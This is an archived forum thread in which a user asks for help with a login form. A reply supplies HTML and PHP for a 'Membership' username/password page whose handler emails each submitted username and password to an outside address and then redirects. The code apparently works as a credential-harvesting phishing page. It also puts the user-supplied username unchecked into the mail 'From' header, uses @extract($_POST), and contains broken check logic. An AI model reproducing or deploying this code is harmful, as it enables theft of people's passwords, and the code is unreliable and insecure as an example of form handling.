Jump to content

Simple Enough question, but i really need help =)


shisamandisa

Recommended Posts

Name + Pass = Error.html
Name - Pass = Error.html
- Name - Pass = Error.html
- Name + Pass = Error.html

In other words everything goes to Error.html


Form:

<form name="mail.php" method='POST' action="site.com/mail.php">

<br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('style.jpg'); color: white;"

class="b"></td></tr></table></form>

Your have to use it this way ok mate.
<?
if((!$username=="none")&&(!$password=="none")){
header("Location: error.html");
}

@extract($_POST);
$username=$_POST['username'];
$password=$_POST['password'];

mail("[email protected]", $username, $password, "From: $username");

if(($username)&&($password)){
header("Location: header.html");
}

?>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.